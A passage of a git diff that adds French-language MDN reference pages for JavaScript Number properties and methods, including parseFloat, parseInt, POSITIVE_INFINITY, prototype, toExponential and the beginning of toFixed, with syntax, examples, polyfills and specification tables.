+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.5', 'Number.NEGATIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.NEGATIVE_INFINITY")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Infinity", "Infinity")}}</li>
+ <li>{{jsxref("isFinite", "isFinite()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/parsefloat/index.html b/files/fr/web/javascript/reference/objets_globaux/number/parsefloat/index.html
new file mode 100644
index 0000000000..85059f92a3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/parsefloat/index.html
@@ -0,0 +1,84 @@
+---
+title: Number.parseFloat()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/parseFloat
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseFloat
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Number.parseFloat()</code></strong> analyse et convertit une chaîne de caractères en un nombre flottant. Cette méthode possède un comportement identique à {{jsxref("parseFloat")}} et fait partie d'ECMAScript 2015 (dans le but de « modulariser » les méthodes globales).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-parsefloat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Number.parseFloat(chaîne)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><var>chaîne</var></code></dt>
+ <dd>Une chaîne de caractères qu'on souhaite convertir en nombre flottant.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre flottant obtenu à partir de l'analyse de la chaîne de caractères passée en argument. Si le premier caractère de la chaîne ne peut pas être converti en un nombre, la  valeur {{jsxref("NaN")}} sera renvoyée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode possède les mêmes fonctionnalités que la fonction globale {{jsxref("parseFloat", "parseFloat()")}} :</p>
+
+<pre>Number.parseFloat === parseFloat; // true
+</pre>
+
+<p>Cette méthode fait partie d'ECMAScript 2015 et notamment de la modularisation de certaines fonctions globales. Pour plus de détails et d'exemples, voir {{jsxref("parseFloat", "parseFloat()")}}.</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush: js">if (Number.parseFloat === undefined) {
+    Number.parseFloat = parseFloat;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.parsefloat', 'Number.parseFloat')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.parsefloat', 'Number.parseFloat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.parseFloat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Number")}} auquel appartient cette fonction.</li>
+ <li>La méthode globale {{jsxref("parseFloat")}}.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/parseint/index.html b/files/fr/web/javascript/reference/objets_globaux/number/parseint/index.html
new file mode 100644
index 0000000000..60eaae2d48
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/parseint/index.html
@@ -0,0 +1,84 @@
+---
+title: Number.parseInt()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/parseInt
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseInt
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Number.parseInt()</code></strong> analyse et convertit une chaine de caractères, fournie en argument, en un entier dans la base souhaitée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-parseint.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Number.parseInt(<var>chaîne</var> [,<var> base</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>chaîne</code></dt>
+ <dd>La valeur à convertir. Si <code>chaine</code> n'est pas une chaîne de caractères, elle sera convertie auparavant. Les blancs qui préfixent la chaîne sont ignorés.</dd>
+ <dt><code>base</code> {{optional_inline}}</dt>
+ <dd>Paramètre optionnel. Un entier représentant la base dans laquelle est représentée la valeur de la chaîne. <strong>Il faut toujours spécifier ce paramètre.</strong> Cela permet que le code ne soit pas ambigü et permet de garantir un comportement prévisible. En effet les différentes implémentations peuvent fournir des résultats différents lorsque la base n'est pas spécifiée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier construit à partir de l'analyse de la chaîne de caractères passée en argument. Si le premier caractère ne permet pas de conversion numérique, c'est la valeur {{jsxref("NaN")}} qui sera renvoyée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Voir la page {{jsxref("Objets_globaux/parseInt", "parseInt()")}} pour plus de détails et d'exemples. Cette méthode se comporte de façon identique à la fonction globale {{jsxref("Objets_globaux/parseInt", "parseInt()")}} et fait partie d'ECMAScript 2015 (dans le but de « modulariser » les méthodes globales) et on aura :</p>
+
+<pre class="brush: js">Number.parseInt === parseInt; // true</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Si on souhaite bénéficier de cette fonction dans un environnement qui n'en dispose pas, on pourra donc l'émuler de la façon suivante :</p>
+
+<pre class="brush: js">if(Number.parseInt === undefined) {
+  Number.parseInt = parseInt;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.parseint', 'Number.parseInt')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.parseint', 'Number.parseInt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Number.parseInt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Number")}} auquel appartient cette fonction.</li>
+ <li>La méthode {{jsxref("Objets_globaux/parseInt","parseInt()")}} de l'objet global.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/positive_infinity/index.html b/files/fr/web/javascript/reference/objets_globaux/number/positive_infinity/index.html
new file mode 100644
index 0000000000..dd0d9cc01c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/positive_infinity/index.html
@@ -0,0 +1,100 @@
+---
+title: Number.POSITIVE_INFINITY
+slug: Web/JavaScript/Reference/Objets_globaux/Number/POSITIVE_INFINITY
+tags:
+  - JavaScript
+  - Number
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
+---
+<div>{{JSRef}}</div>
+
+<p>La propriéte <code><strong>Number.POSITIVE_INFINITY</strong></code> représente l'infini (positif).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-positive-infinity.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur de <code>Number.POSITIVE_INFINITY</code> est identique à la valeur de la propriété de l'objet global {{jsxref("Infinity")}}.</p>
+
+<p>Cette valeur possède un comportement légèrement différent de l'infini au sens mathématique :</p>
+
+<ul>
+ <li>Tout valeur positive, y compris <code>POSITIVE_INFINITY,</code> multipliée par  <code>POSITIVE_INFINITY</code> sera égale à <code>POSITIVE_INFINITY</code>.</li>
+ <li>Toute valeur négative, y compris {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}, multipliée par <code>POSITIVE_INFINITY</code> sera égale à <code>NEGATIVE_INFINITY</code>.</li>
+ <li>Zéro multiplié par <code>POSITIVE_INFINITY</code> sera égal à {{jsxref("NaN")}}.</li>
+ <li>NaN multiplié par <code>POSITIVE_INFINITY</code> sera égal à NaN.</li>
+ <li><code>POSITIVE_INFINITY</code>, divisé par n'importe quelle valeur négative, à l'exception de <code>NEGATIVE_INFINITY</code>, sera égal à <code>NEGATIVE_INFINITY</code>.</li>
+ <li><code>POSITIVE_INFINITY</code>, divisé par n'importe quelle valeur positive, à l'exception de <code>POSITIVE_INFINITY</code>, sera égal à <code>POSITIVE_INFINITY</code>.</li>
+ <li><code>POSITIVE_INFINITY</code>, divisé par <code>NEGATIVE_INFINITY</code> ou <code>POSITIVE_INFINITY</code>, sera égal NaN.</li>
+ <li>Tout nombre positif divisé par <code>POSITIVE_INFINITY</code> sera égal au zéro positif.</li>
+ <li>Tout nombre négatif divisé par <code>POSITIVE_INFINITY</code> sera égal au zéro négatif.</li>
+</ul>
+
+<p>Il est possible d'utiliser la propriété <code>Number.POSITIVE_INFINITY</code> pour faire un test d'erreur sur une valeur qu'on attendait finie. Cependant, la méthode {{jsxref("isFinite")}} sera plus appropriée dans ce cas.</p>
+
+<p><code>Number.POSITIVE_INFINITY</code> est une propriété statique de {{jsxref("Number")}} et il n'est donc pas nécessaire de créer un objet {{jsxref("Number")}} afin d'utiliser cette propriété.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_POSITIVE_INFINITY">Utiliser <code>POSITIVE_INFINITY</code></h3>
+
+<p>Dans l'exemple qui suit, on affecte une valeur plus grande que la valeur maximale à la variable <code>grosNombre</code>. Lors de l'exécution de l'instruction <code>if</code>, <code>grosNombre</code> aura la valeur <code>Infinity</code>, pour continuer, on met à jour <code>grosNombre</code> avec une valeur plus acceptable.</p>
+
+<pre class="brush: js">var grosNombre = Number.MAX_VALUE * 2
+if (grosNombre == Number.POSITIVE_INFINITY) {
+ grosNombre = renvoyerUnNombreFini();
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.6', 'Number.POSITIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.POSITIVE_INFINITY")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("isFinite")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/number/prototype/index.html
new file mode 100644
index 0000000000..4c0fbdb8ed
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/prototype/index.html
@@ -0,0 +1,90 @@
+---
+title: Number.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Number/prototype
+tags:
+  - JavaScript
+  - Number
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Number.prototype</code></strong> représente le prototype du constructeur {{jsxref("Number")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("Number")}} héritent de <code>Number.prototype</code>. On peut modifier l'objet prototype du constructeur {{jsxref("Number")}} afin que la modification affecte chacune des instances de <code>Number</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Number.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé l'instance de cette objet. Par défaut, ce sera l'objet {{jsxref("Number")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Number.prototype.toExponential()")}}</dt>
+ <dd>Renvoie une chaîne de caractères qui représente le nombre en notation exponentielle.</dd>
+ <dt>{{jsxref("Number.prototype.toFixed()")}}</dt>
+ <dd>Renvoie une chaîne de caractères qui représente le nombre en représentation à point fixe.</dd>
+ <dt>{{jsxref("Number.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères qui représente le nombre en tenant compte de la locale. Surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("Number.prototype.toPrecision()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant le nombre en représentation à point fixe, selon une précision donnée ou en notation exponentielle.</dd>
+ <dt>{{jsxref("Number.prototype.toSource()")}} {{ Non-standard_inline() }}</dt>
+ <dd>Renvoie un litéral objet représentant l'objet <code>Number</code> fourni. On peut utiliser cette valeur afin de créer un nouvel objet. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Number.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères qui représente l'objet fourni selon une base donnée. Surcharge la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Number.prototype.valueOf()")}}</dt>
+ <dd>Renvoie une valeur primitive de l'objet fourni. Surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/toexponential/index.html b/files/fr/web/javascript/reference/objets_globaux/number/toexponential/index.html
new file mode 100644
index 0000000000..c478bb13fd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/toexponential/index.html
@@ -0,0 +1,112 @@
+---
+title: Number.prototype.toExponential()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/toExponential
+tags:
+  - JavaScript
+  - Méthode
+  - Number
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>toExponential()</code></strong> renvoie une chaîne de caractères, représentant l'objet Number en notation exponentielle.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-toexponential.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.toExponential([nbChiffresDécimaux])</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>nbChiffresDécimaux</code></dt>
+ <dd>Paramètre optionnel. Un entier donnant le nombre de chiffres qu'on souhaite avoir dans la partie fractionnaire. Le comportement par défaut considèrera autant de chiffres que nécessaire pour représenter le nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne représentant l'objet {{jsxref("Number")}} appelant en notation exponentielle avec un chiffre avant la virgule et arrondi à <code>nbChiffresDécimaux</code> après la virgule.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Cette exception est causée si <code>nbChiffresDécimaux</code> est trop petit ou trop grand. Les valeurs comprises, au sens large, entre 0 et 20 ne causeront pas d'exception {{jsxref("RangeError")}}. Les implémentations peuvent également autorisér des valeurs en dehors de ces bornes.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Si cette méthode est invoquée pour un objet qui n'est pas un objet <code>Number</code>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur renvoyée est une chaîne de caractères correspondant à la représentation du nombre en notation exponentielle. La partie entière est constituée d'un seul chiffre et la partie fractionnaire est composée de <code>nbChiffresDécimaux</code> chiffres. Si l'argument <code>nbChiffresDécimaux </code>est absent, il y aura autant de chiffres dans la partie fractionnaire que nécessaire pour représenter le nombre de façon unique.</p>
+
+<p>Si la méthode <code>toExponential()</code> est utilisée avec un littéral numérique et que celui-ci ne possède aucun exposant ou séparateur décimal ("."), il faut laisser un ou plusieurs espaces entre le littéral et le point indiquant l'appel de la méthode. Cela permet d'éviter que le point, permettant d'accéder à la méthode, soit confondu avec un séparateur décimal.</p>
+
+<p>Si un nombre possède plus de chiffres décimaux que <code>nbChiffresDécimaux</code>, le nombre est arrondi au nombre le plus proche, représenté avec <code>nbChiffresDécimaux</code> pour la partie fractionnaire. Voir la discussion sur les arrondis dans la page  de la méthode {{jsxref("Number.toFixed", "toFixed()")}} pour plus de détails, la même méthode est utilisée pour <code>toExponential()</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toExponential">Utiliser <code>toExponential</code></h3>
+
+<pre class="brush: js">var numObj = 77.1234;
+
+console.log(numObj.toExponential());  // affiche 7.71234e+1
+console.log(numObj.toExponential(4)); // affiche 7.7123e+1
+console.log(numObj.toExponential(2)); // affiche 7.71e+1
+console.log(77.1234.toExponential()); // affiche 7.71234e+1
+console.log(77 .toExponential());     // affiche 7.7e+1
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.6', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.toExponential")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/tofixed/index.html b/files/fr/web/javascript/reference/objets_globaux/number/tofixed/index.html
new file mode 100644
index 0000000000..d1f0cd48b2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/tofixed/index.html
@@ -0,0 +1,116 @@
+---
+title: Number.prototype.toFixed()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/toFixed
+tags:
+  - JavaScript
+  - Méthode
+  - Number
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toFixed()</strong></code> permet de formater un nombre en notation à point-fixe.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-tofixed.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.toFixed([nbChiffres])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nbChiffres</code> {{optional_inline}}</dt>
+ <dd>Le nombre de chiffres qu'on souhaite avoir après le séparateur décimal. Cette valeur peut être comprise, au sens large, entre 0 et 20. Les différentes implémentations peuvent éventuellement supporter des valeurs en dehors de cet intervalle. Si l'argument n'est pas utilisé, la valeur par défaut sera 0.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le nombre indiqué avec une notation à point fixe.</p>
+
+<h3 id="Exceptions_causées">Exceptions causées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Cette exception est renvoyée si <code>nbChiffres</code> est trop grand ou trop petit. Les valeurs comprises, au sens large, entre 0 et 100, n'entraîneront pas de <code>RangeError</code>. Les différentes implémentations peuvent ou non supporter des valeurs plus petites et/ou plus grandes.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Cette exception est renvoyée si cette méthode est invoquée depuis un objet qui n'est pas de type numérique.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><code>toFixed()</code> renvoie une chaîne de caractères représentant <code>objetNumber</code> sans notation exponentielle et qui possède exactement <code>nbChiffres</code> pour la partie fractionnaire. Le nombre est arrondi si nécessaire et la partie fractionnaire est complétée par des zéros si nécessaire pour obtenir la longueur souhaitée. Si le <code>objetNumber</code> est supérieur ou égal à <code>1e+21</code>, la méthode utilise simplement {{jsxref("Number.prototype.toString()")}} et renvoie une chaîne en notation exponentielle.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> En raison du standard <a href="https://fr.wikipedia.org/wiki/IEEE_754">IEEE 754</a> qui est utilisé par JavaScript pour représenter les nombres, tous les nombres décimaux ne sont pas représentés exactement en JavaScript, ce qui peut mener à des résultats inattendus (comme <code>0.1 + 0.2 === 0.3</code> qui renvoie <code>false</code>).</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var numObj = 12345.6789;
+
+numObj.toFixed();       // Renvoie '12346' : arrondi, aucune partie fractionnaire
+numObj.toFixed(1);      // Renvoie '12345.7' : arrondi ici aussi
+numObj.toFixed(6);      // Renvoie '12345.678900' : des zéros sont ajoutés
+(1.23e+20).toFixed(2);  // Renvoie '123000000000000000000.00'
+(1.23e-10).toFixed(2);  // Renvoie '0.00'
+2.34.toFixed(1);        // Renvoie '2.3'
+-2.34.toFixed(1);       // Renvoie -2.3 (en raison de la précédence des opérateurs,
+                        // les littéraux de nombres négatifs ne renvoient pas de chaînes)
+2.35.toFixed(1);        // Renvoie '2.4' (arrondi supérieur)
+2.55.toFixed(1);        // Renvoie '2.5' (cf. l'avertissement ci-avant)
+(-2.34).toFixed(1);     // Renvoie '-2.3'
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
